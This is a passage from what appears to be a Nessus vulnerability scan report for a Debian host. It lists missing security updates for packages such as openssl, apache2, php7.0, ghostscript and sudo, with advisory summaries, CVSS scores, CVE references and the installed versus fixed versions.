5.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:N)

CVSS v2.0 Temporal Score

4.3 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2019-1543
XREF	DSA:4475

Plugin Information

Published: 2019/07/02, Modified: 2025/02/25

Plugin Output

tcp/0

```
Remote package installed : libssl1.1_1.1.0j-1~deb9u1
Should be : libssl1.1_1.1.0k-1~deb9u1
Remote package installed : openssl_1.1.0j-1~deb9u1
Should be : openssl_1.1.0k-1~deb9u1
```

127823 - Debian DSA-4499-1 : ghostscript - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Netanel reported that the .buildfont1 procedure in Ghostscript, the GPL PostScript/PDF interpreter, does not properly restrict privileged calls, which could result in bypass of file system restrictions of the dSAFER sandbox.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=934638
https://security-tracker.debian.org/tracker/source-package/ghostscript
https://packages.debian.org/source/stretch/ghostscript
https://packages.debian.org/source/buster/ghostscript
https://www.debian.org/security/2019/dsa-4499

Solution

Upgrade the ghostscript packages.

For the oldstable distribution (stretch), this problem has been fixed in version 9.26a~dfsg-0+deb9u4.

For the stable distribution (buster), this problem has been fixed in version 9.27~dfsg-2+deb10u1.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.8 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2019-10216
XREF	DSA:4499
XREF	IAVB:2019-B-0081-S

Plugin Information

Published: 2019/08/13, Modified: 2020/08/21

Plugin Output

tcp/0

```
Remote package installed : ghostscript_9.26a~dfsg-0+deb9u2
Should be : ghostscript_9.26a~dfsg-0+deb9u4
Remote package installed : libgs9_9.26a~dfsg-0+deb9u2
Should be : libgs9_9.26a~dfsg-0+deb9u4
Remote package installed : libgs9-common_9.26a~dfsg-0+deb9u2
Should be : libgs9-common_9.26a~dfsg-0+deb9u4
```

128182 - Debian DSA-4509-1 : apache2 - security update (Internal Data Buffering) -

Synopsis

The remote Debian host is missing a security-related update.

Description

Several vulnerabilities have been found in the Apache HTTPD server.

- CVE-2019-9517 Jonathan Looney reported that a malicious client could perform a denial of service attack (exhausting h2 workers) by flooding a connection with requests and basically never reading responses on the TCP connection.

- CVE-2019-10081 Craig Young reported that HTTP/2 PUSHes could lead to an overwrite of memory in the pushing request's pool, leading to crashes.

- CVE-2019-10082 Craig Young reported that the HTTP/2 session handling could be made to read memory after being freed, during connection shutdown.

- CVE-2019-10092 Matei 'Mal' Badanoiu reported a limited cross-site scripting vulnerability in the mod_proxy error page.

- CVE-2019-10097 Daniel McCarney reported that when mod_remoteip was configured to use a trusted intermediary proxy server using the 'PROXY' protocol, a specially crafted PROXY header could trigger a stack buffer overflow or NULL pointer deference. This vulnerability could only be triggered by a trusted proxy and not by untrusted HTTP clients. The issue does not affect the stretch release.

- CVE-2019-10098 Yukitsugu Sasaki reported a potential open redirect vulnerability in the mod_rewrite module.

See Also

https://security-tracker.debian.org/tracker/CVE-2019-9517
https://security-tracker.debian.org/tracker/CVE-2019-10081
https://security-tracker.debian.org/tracker/CVE-2019-10082
https://security-tracker.debian.org/tracker/CVE-2019-10092
https://security-tracker.debian.org/tracker/CVE-2019-10097
https://security-tracker.debian.org/tracker/CVE-2019-10098
https://security-tracker.debian.org/tracker/source-package/apache2
https://packages.debian.org/source/stretch/apache2
https://packages.debian.org/source/buster/apache2
https://www.debian.org/security/2019/dsa-4509

Solution

Upgrade the apache2 packages.

For the oldstable distribution (stretch), these problems have been fixed in version 2.4.25-3+deb9u8.

For the stable distribution (buster), these problems have been fixed in version 2.4.38-3+deb10u1.

Risk Factor

Medium

CVSS v3.0 Base Score

9.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H)

CVSS v3.0 Temporal Score

8.2 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-10081
CVE	CVE-2019-10082
CVE	CVE-2019-10092
CVE	CVE-2019-10097
CVE	CVE-2019-10098
CVE	CVE-2019-9517
XREF	DSA:4509
XREF	CEA-ID:CEA-2019-0643

Plugin Information

Published: 2019/08/27, Modified: 2022/12/06

Plugin Output

tcp/0

```
Remote package installed : apache2_2.4.25-3+deb9u7
Should be : apache2_2.4.25-3+deb9u8
Remote package installed : apache2-bin_2.4.25-3+deb9u7
Should be : apache2-bin_2.4.25-3+deb9u8
Remote package installed : apache2-data_2.4.25-3+deb9u7
Should be : apache2-data_2.4.25-3+deb9u8
Remote package installed : apache2-utils_2.4.25-3+deb9u7
Should be : apache2-utils_2.4.25-3+deb9u8
```

129107 - Debian DSA-4529-1 : php7.0 - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Multiple security issues were found in PHP, a widely-used open source general purpose scripting language: Missing sanitising in the EXIF extension and the iconv_mime_decode_headers() function could result in information disclosure or denial of service.

See Also

https://security-tracker.debian.org/tracker/source-package/php7.0
https://packages.debian.org/source/stretch/php7.0
https://www.debian.org/security/2019/dsa-4529

Solution

Upgrade the php7.0 packages.

For the oldstable distribution (stretch), these problems have been fixed in version 7.0.33-0+deb9u5.

Risk Factor

Medium

CVSS v3.0 Base Score

9.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H)

CVSS v3.0 Temporal Score

8.2 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-11034
CVE	CVE-2019-11035
CVE	CVE-2019-11036
CVE	CVE-2019-11038
CVE	CVE-2019-11039
CVE	CVE-2019-11040
CVE	CVE-2019-11041
CVE	CVE-2019-11042
XREF	DSA:4529

Plugin Information

Published: 2019/09/23, Modified: 2024/04/24

Plugin Output

tcp/0

```
Remote package installed : libapache2-mod-php7.0_7.0.33-0+deb9u3
Should be : libapache2-mod-php7.0_7.0.33-0+deb9u5
Remote package installed : php7.0_7.0.33-0+deb9u3
Should be : php7.0_7.0.33-0+deb9u5
Remote package installed : php7.0-cli_7.0.33-0+deb9u3
Should be : php7.0-cli_7.0.33-0+deb9u5
Remote package installed : php7.0-common_7.0.33-0+deb9u3
Should be : php7.0-common_7.0.33-0+deb9u5
Remote package installed : php7.0-curl_7.0.33-0+deb9u3
Should be : php7.0-curl_7.0.33-0+deb9u5
Remote package installed : php7.0-gd_7.0.33-0+deb9u3
Should be : php7.0-gd_7.0.33-0+deb9u5
Remote package installed : php7.0-json_7.0.33-0+deb9u3
Should be : php7.0-json_7.0.33-0+deb9u5
Remote package installed : php7.0-mysql_7.0.33-0+deb9u3
Should be : php7.0-mysql_7.0.33-0+deb9u5
Remote package installed : php7.0-opcache_7.0.33-0+deb9u3
Should be : php7.0-opcache_7.0.33-0+deb9u5
Remote package installed : php7.0-readline_7.0.33-0+deb9u3
Should be : php7.0-readline_7.0.33-0+deb9u5
Remote package installed : php7.0-xml_7.0.33-0+deb9u3
Should be : php7.0-xml_7.0.33-0+deb9u5
```

129108 - Debian DSA-4530-1 : expat - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

It was discovered that Expat, an XML parsing C library, did not properly handled internal entities closing the doctype, potentially resulting in denial of service or information disclosure if a malformed XML file is processed.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=939394
https://security-tracker.debian.org/tracker/source-package/expat
https://packages.debian.org/source/stretch/expat
https://packages.debian.org/source/buster/expat
https://www.debian.org/security/2019/dsa-4530

Solution

Upgrade the expat packages.

For the oldstable distribution (stretch), this problem has been fixed in version 2.2.0-2+deb9u3.

For the stable distribution (buster), this problem has been fixed in version 2.2.6-2+deb10u1.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-15903
XREF	DSA:4530

Plugin Information

Published: 2019/09/23, Modified: 2024/04/24

Plugin Output

tcp/0

```
Remote package installed : libexpat1_2.2.0-2+deb9u1
Should be : libexpat1_2.2.0-2+deb9u3
```

129413 - Debian DSA-4535-1 : e2fsprogs - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Lilith of Cisco Talos discovered a buffer overflow flaw in the quota code used by e2fsck from the ext2/ext3/ext4 file system utilities.
Running e2fsck on a malformed file system can result in the execution of arbitrary code.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=941139
https://security-tracker.debian.org/tracker/source-package/e2fsprogs
https://packages.debian.org/source/stretch/e2fsprogs
https://packages.debian.org/source/buster/e2fsprogs
https://www.debian.org/security/2019/dsa-4535

Solution

Upgrade the e2fsprogs packages.

For the oldstable distribution (stretch), this problem has been fixed in version 1.43.4-2+deb9u1.

For the stable distribution (buster), this problem has been fixed in version 1.44.5-1+deb10u2.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

3.6 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-5094
XREF	DSA:4535

Plugin Information

Published: 2019/09/30, Modified: 2025/06/02

Plugin Output

tcp/0

```
Remote package installed : e2fslibs_1.43.4-2
Should be : e2fslibs_1.43.4-2+deb9u1
Remote package installed : e2fsprogs_1.43.4-2
Should be : e2fsprogs_1.43.4-2+deb9u1
Remote package installed : libcomerr2_1.43.4-2
Should be : libcomerr2_1.43.4-2+deb9u1
Remote package installed : libss2_1.43.4-2
Should be : libss2_1.43.4-2+deb9u1
```

129506 - Debian DSA-4539-1 : openssl - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Three security issues were discovered in OpenSSL: A timing attack against ECDSA, a padding oracle in PKCS7_dataDecode() and CMS_decrypt_set1_pkey() and it was discovered that a feature of the random number generator (RNG) intended to protect against shared RNG state between parent and child processes in the event of a fork() syscall was not used by default.

See Also

https://security-tracker.debian.org/tracker/source-package/openssl
https://packages.debian.org/source/stretch/openssl
https://packages.debian.org/source/buster/openssl
https://www.debian.org/security/2019/dsa-4539

Solution

Upgrade the openssl packages.

For the oldstable distribution (stretch), these problems have been fixed in version 1.1.0l-1~deb9u1.

For the stable distribution (buster), these problems have been fixed in version 1.1.1d-0+deb10u1.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2019-1547
CVE	CVE-2019-1549
CVE	CVE-2019-1563
XREF	DSA:4539

Plugin Information

Published: 2019/10/02, Modified: 2024/04/22

Plugin Output

tcp/0

```
Remote package installed : libssl1.1_1.1.0j-1~deb9u1
Should be : libssl1.1_1.1.0l-1~deb9u1
Remote package installed : openssl_1.1.0j-1~deb9u1
Should be : openssl_1.1.0l-1~deb9u1
```

129507 - Debian DSA-4540-1 : openssl1.0 - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Two security issues were discovered in OpenSSL: A timing attack against ECDSA and a padding oracle in PKCS7_dataDecode() and CMS_decrypt_set1_pkey().

See Also

https://security-tracker.debian.org/tracker/source-package/openssl1.0
https://packages.debian.org/source/stretch/openssl1.0
https://www.debian.org/security/2019/dsa-4540

Solution

Upgrade the openssl1.0 packages.

For the oldstable distribution (stretch), these problems have been fixed in version 1.0.2t-1~deb9u1.

Risk Factor

Medium

CVSS v3.0 Base Score

4.7 (CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N)

CVSS v3.0 Temporal Score

4.1 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.2 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2019-1547
CVE	CVE-2019-1563
XREF	DSA:4540

Plugin Information

Published: 2019/10/02, Modified: 2024/04/22

Plugin Output

tcp/0

```
Remote package installed : libssl1.0.2_1.0.2r-1~deb9u1
Should be : libssl1.0.2_1.0.2t-1~deb9u1
```

130289 - Debian DSA-4550-1 : file - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

A buffer overflow was found in file, a file type classification tool, which may result in denial of service or potentially the execution of arbitrary code if a malformed CDF (Composite Document File) file is processed.

See Also

https://security-tracker.debian.org/tracker/source-package/file
https://packages.debian.org/source/stretch/file
https://packages.debian.org/source/buster/file
https://www.debian.org/security/2019/dsa-4550

Solution

Upgrade the file packages.

For the oldstable distribution (stretch), this problem has been fixed in version 1:5.30-1+deb9u3.

For the stable distribution (buster), this problem has been fixed in version 1:5.35-4+deb10u1.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-18218
XREF	DSA:4550

Plugin Information

Published: 2019/10/28, Modified: 2024/04/16

Plugin Output

tcp/0

```
Remote package installed : file_1:5.30-1+deb9u2
Should be : file_1:5.30-1+deb9u3
Remote package installed : libmagic-mgc_1:5.30-1+deb9u2
Should be : libmagic-mgc_1:5.30-1+deb9u3
Remote package installed : libmagic1_1:5.30-1+deb9u2
Should be : libmagic1_1:5.30-1+deb9u3
```

131036 - Debian DSA-4569-1 : ghostscript - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Manfred Paul and Lukas Schauer reported that the .charkeys procedure in Ghostscript, the GPL PostScript/PDF interpreter, does not properly restrict privileged calls, which could result in bypass of file system restrictions of the dSAFER sandbox.

See Also

https://security-tracker.debian.org/tracker/source-package/ghostscript
https://packages.debian.org/source/stretch/ghostscript
https://packages.debian.org/source/buster/ghostscript
https://www.debian.org/security/2019/dsa-4569

Solution

Upgrade the ghostscript packages.

For the oldstable distribution (stretch), this problem has been fixed in version 9.26a~dfsg-0+deb9u6.

For the stable distribution (buster), this problem has been fixed in version 9.27~dfsg-2+deb10u3.

Risk Factor

Medium

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.7 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2019-14869
XREF	DSA:4569
XREF	IAVB:2019-B-0081-S

Plugin Information

Published: 2019/11/15, Modified: 2020/08/21

Plugin Output

tcp/0

```
Remote package installed : ghostscript_9.26a~dfsg-0+deb9u2
Should be : ghostscript_9.26a~dfsg-0+deb9u6
Remote package installed : libgs9_9.26a~dfsg-0+deb9u2
Should be : libgs9_9.26a~dfsg-0+deb9u6
Remote package installed : libgs9-common_9.26a~dfsg-0+deb9u2
Should be : libgs9-common_9.26a~dfsg-0+deb9u6
```

132347 - Debian DSA-4591-1 : cyrus-sasl2 - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Stephan Zeisberg reported an out-of-bounds write vulnerability in the
_sasl_add_string() function in cyrus-sasl2, a library implementing the Simple Authentication and Security Layer. A remote attacker can take advantage of this issue to cause denial-of-service conditions for applications using the library.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=947043
https://security-tracker.debian.org/tracker/source-package/cyrus-sasl2
https://packages.debian.org/source/stretch/cyrus-sasl2
https://packages.debian.org/source/buster/cyrus-sasl2
https://www.debian.org/security/2019/dsa-4591

Solution

Upgrade the cyrus-sasl2 packages.

For the oldstable distribution (stretch), this problem has been fixed in version 2.1.27~101-g0780600+dfsg-3+deb9u1.

For the stable distribution (buster), this problem has been fixed in version 2.1.27+dfsg-1+deb10u1.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-19906
XREF	DSA:4591

Plugin Information

Published: 2019/12/23, Modified: 2024/04/02

Plugin Output

tcp/0

```
Remote package installed : libsasl2-2_2.1.27~101-g0780600+dfsg-3
Should be : libsasl2-2_2.1.27~101-g0780600+dfsg-3+deb9u1
Remote package installed : libsasl2-modules_2.1.27~101-g0780600+dfsg-3
Should be : libsasl2-modules_2.1.27~101-g0780600+dfsg-3+deb9u1
Remote package installed : libsasl2-modules-db_2.1.27~101-g0780600+dfsg-3
Should be : libsasl2-modules-db_2.1.27~101-g0780600+dfsg-3+deb9u1
```

132425 - Debian DSA-4594-1 : openssl1.0 - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Guido Vranken discovered an overflow bug in the x64_64 Montgomery squaring procedure used in exponentiation with 512-bit moduli.

See Also

https://security-tracker.debian.org/tracker/source-package/openssl1.0
https://packages.debian.org/source/stretch/openssl1.0
https://www.debian.org/security/2019/dsa-4594

Solution

Upgrade the openssl1.0 packages.

For the oldstable distribution (stretch), this problem has been fixed in version 1.0.2u-1~deb9u1.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v3.0 Temporal Score

4.6 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2019-1551
XREF	DSA:4594
XREF	IAVA:2019-A-0303-S

Plugin Information

Published: 2019/12/30, Modified: 2024/04/02

Plugin Output

tcp/0

```
Remote package installed : libssl1.0.2_1.0.2r-1~deb9u1
Should be : libssl1.0.2_1.0.2u-1~deb9u1
```

133417 - Debian DSA-4614-1 : sudo - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Joe Vennix discovered a stack-based buffer overflow vulnerability in sudo, a program designed to provide limited super user privileges to specific users, triggerable when configured with the 'pwfeedback'
option enabled. An unprivileged user can take advantage of this flaw to obtain full root privileges.

Details can be found in the upstream advisory at https://www.sudo.ws/alerts/pwfeedback.html .

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=950371
https://www.sudo.ws/alerts/pwfeedback.html
https://security-tracker.debian.org/tracker/source-package/sudo
https://packages.debian.org/source/stretch/sudo
https://www.debian.org/security/2020/dsa-4614

Solution

Upgrade the sudo packages.

For the oldstable distribution (stretch), this problem has been fixed in version 1.8.19p1-2.1+deb9u2.

For the stable distribution (buster), exploitation of the bug is prevented due to a change in EOF handling introduced in 1.8.26.

Risk Factor

Medium

CVSS v3.0 Base Score

7.8 (CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

4.6 (CVSS2#AV:L/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

3.6 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-18634
XREF	DSA:4614

Plugin Information

Published: 2020/02/03, Modified: 2024/03/28

Plugin Output

tcp/0

```
Remote package installed : sudo_1.8.19p1-2.1
Should be : sudo_1.8.19p1-2.1+deb9u2
```

133815 - Debian DSA-4628-1 : php7.0 - security update

Synopsis

The remote Debian host is missing a security-related update.

Description

Multiple security issues were found in PHP, a widely-used open source general purpose scripting language which could result in information disclosure, denial of service or incorrect validation of path names.

See Also

https://security-tracker.debian.org/tracker/source-package/php7.0
https://packages.debian.org/source/stretch/php7.0
https://www.debian.org/security/2020/dsa-4628

Solution

Upgrade the php7.0 packages.

For the oldstable distribution (stretch), these problems have been fixed in version 7.0.33-0+deb9u7.

Risk Factor

Medium

CVSS v3.0 Base Score

9.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H)

CVSS v3.0 Temporal Score

8.2 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.4 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2019-11045
CVE	CVE-2019-11046
CVE	CVE-2019-11047
CVE	CVE-2019-11050
CVE	CVE-2020-7059
CVE	CVE-2020-7060
XREF	DSA:4628

Plugin Information

Published: 2020/02/20, Modified: 2024/03/27

Plugin Output

tcp/0

```
Remote package installed : libapache2-mod-php7.0_7.0.33-0+deb9u3
Should be : libapache2-mod-php7.0_7.0.33-0+deb9u7
Remote package installed : php7.0_7.0.33-0+deb9u3
Should be : php7.0_7.0.33-0+deb9u7
Remote package installed : php7.0-cli_7.0.33-0+deb9u3
Should be : php7.0-cli_7.0.33-0+deb9u7
```

```
Remote package installed : php7.0-common_7.0.33-0+deb9u3
Should be : php7.0-common_7.0.33-0+deb9u7
Remote package installed : php7.0-curl_7.0.33-0+deb9u3
Should be : php7.0-curl_7.0.33-0+deb9u7
Remote package installed : php7.0-gd_7.0.33-0+deb9u3
Should be : php7.0-gd_7.0.33-0+deb9u7
Remote package installed : php7.0-json_7.0.33-0+deb9u3
Should be : php7.0-json_7.0.33-0+deb9u7
Remote package installed : php7.0-mysql_7.0.33-0+deb9u3
Should be : php7.0-mysql_7.0.33-0+deb9u7
Remote package installed : php7.0-opcache_7.0.33-0+deb9u3
Should be : php7.0-opcache_7.0.33-0+deb9u7
Remote package installed : php7.0-readline_7.0.33-0+deb9u3
Should be : php7.0-readline_7.0.33-0+deb9u7
Remote package installed : php7.0-xml_7.0.33-0+deb9u3
Should be : php7.0-xml_7.0.33-0+deb9u7
```

134917 - Debian DSA-4646-1 : icu - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Andre Bargull discovered an integer overflow in the International Components for Unicode (ICU) library which could result in denial of service and potentially the execution of arbitrary code.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=953747
https://security-tracker.debian.org/tracker/source-package/icu
https://packages.debian.org/source/stretch/icu
https://packages.debian.org/source/buster/icu
https://www.debian.org/security/2020/dsa-4646

Solution

Upgrade the icu packages.

For the oldstable distribution (stretch), this problem has been fixed in version 57.1-6+deb9u4.

For the stable distribution (buster), this problem has been fixed in version 63.1-6+deb10u1.

Risk Factor

Medium

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.7 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

References

CVE	CVE-2020-10531
XREF	DSA:4646

Plugin Information

Published: 2020/03/26, Modified: 2024/03/20

Plugin Output

tcp/0

```
Remote package installed : libicu57_57.1-6+deb9u2
Should be : libicu57_57.1-6+deb9u4
```

136123 - Debian DSA-4666-1 : openldap - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

A vulnerability was discovered in OpenLDAP, a free implementation of the Lightweight Directory Access Protocol. LDAP search filters with nested boolean expressions can result in denial of service (slapd daemon crash).

See Also

https://security-tracker.debian.org/tracker/source-package/openldap
https://packages.debian.org/source/stretch/openldap
https://packages.debian.org/source/buster/openldap
https://www.debian.org/security/2020/dsa-4666

Solution

Upgrade the openldap packages.

For the oldstable distribution (stretch), this problem has been fixed in version 2.4.44+dfsg-5+deb9u4.

For the stable distribution (buster), this problem has been fixed in version 2.4.47+dfsg-3+deb10u2.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.7 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.9 (CVSS2#E:POC/RL:OF/RC:C)

STIG Severity

I

References

CVE	CVE-2020-12243
XREF	DSA:4666
XREF	IAVB:2020-B-0028-S

Plugin Information

Published: 2020/04/30, Modified: 2024/03/14

Plugin Output

tcp/0

```
Remote package installed : libldap-2.4-2_2.4.44+dfsg-5+deb9u2
Should be : libldap-2.4-2_2.4.44+dfsg-5+deb9u4
Remote package installed : libldap-common_2.4.44+dfsg-5+deb9u2
Should be : libldap-common_2.4.44+dfsg-5+deb9u4
```

136127 - Debian DSA-4670-1 : tiff - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Several vulnerabilities have been found in the TIFF library, which may result in denial of service or the execution of arbitrary code if malformed image files are processed.

See Also

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=902718
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=908778
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=909038
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=913675
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=934780
https://security-tracker.debian.org/tracker/source-package/tiff
https://packages.debian.org/source/stretch/tiff
https://www.debian.org/security/2020/dsa-4670

Solution

Upgrade the tiff packages.

For the oldstable distribution (stretch), these problems have been fixed in version 4.0.8-2+deb9u5.

Risk Factor

Medium

CVSS v3.0 Base Score

8.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.9 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.3 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2018-12900
CVE	CVE-2018-17000
CVE	CVE-2018-17100
CVE	CVE-2018-19210
CVE	CVE-2019-14973
CVE	CVE-2019-17546
CVE	CVE-2019-7663
XREF	DSA:4670

Plugin Information

Published: 2020/04/30, Modified: 2024/03/14

Plugin Output

tcp/0

```
Remote package installed : libtiff5_4.0.8-2+deb9u4
Should be : libtiff5_4.0.8-2+deb9u5
```

136591 - Debian DSA-4685-1 : apt - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Shuaibing Lu discovered that missing input validation in the ar/tar implementations of APT, the high level package manager, could result in denial of service when processing specially crafted deb files.

See Also

https://security-tracker.debian.org/tracker/source-package/apt
https://packages.debian.org/source/stretch/apt
https://packages.debian.org/source/buster/apt
https://www.debian.org/security/2020/dsa-4685

Solution

Upgrade the apt packages.

For the oldstable distribution (stretch), this problem has been fixed in version 1.4.10.

For the stable distribution (buster), this problem has been fixed in version 1.8.2.1.

Risk Factor

Medium

CVSS v3.0 Base Score

5.5 (CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

5.0 (CVSS:3.0/E:P/RL:O/RC:C)

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.4 (CVSS2#E:POC/RL:OF/RC:C)

References

CVE	CVE-2020-3810
XREF	DSA:4685

Plugin Information

Published: 2020/05/14, Modified: 2024/03/12

Plugin Output

tcp/0

```
Remote package installed : apt_1.4.9
Should be : apt_1.4.10
Remote package installed : apt-utils_1.4.9
Should be : apt-utils_1.4.10
Remote package installed : libapt-inst2.0_1.4.9
Should be : libapt-inst2.0_1.4.10
Remote package installed : libapt-pkg5.0_1.4.9
Should be : libapt-pkg5.0_1.4.10
```

136721 - Debian DSA-4689-1 : bind9 - security update -

Synopsis

The remote Debian host is missing a security-related update.

Description

Several vulnerabilities were discovered in BIND, a DNS server implementation.

- CVE-2019-6477 It was discovered that TCP-pipelined queries can bypass tcp-client limits resulting in denial of service.

